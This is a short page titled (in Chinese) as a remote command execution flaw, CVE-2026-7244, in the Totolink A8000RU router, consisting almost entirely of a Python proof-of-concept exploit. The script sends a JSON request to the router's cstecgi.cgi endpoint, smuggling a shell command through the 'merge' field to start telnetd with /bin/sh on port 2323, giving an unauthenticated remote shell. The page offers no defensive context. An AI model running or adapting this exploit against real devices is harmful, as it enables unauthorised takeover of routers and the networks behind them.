CVE-2026-7244 Totolink A8000RU远程命令执行漏洞

import requests def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = {"Content-Type": "application/json"} # Payload attempts to start a telnetd service on port 2323 # The semicolon (;) is used to break out of the original command context data = { "function": "setWiFiEasyGuestCfg", "merge": "; telnetd -l /bin/sh -p 2323 &" } try: print(f"[*] Sending payload to {target_ip}...") response = requests.post(url, json=data, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Request sent successfully. Check if port 2323 is open.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with the actual IP of the target device exploit(target)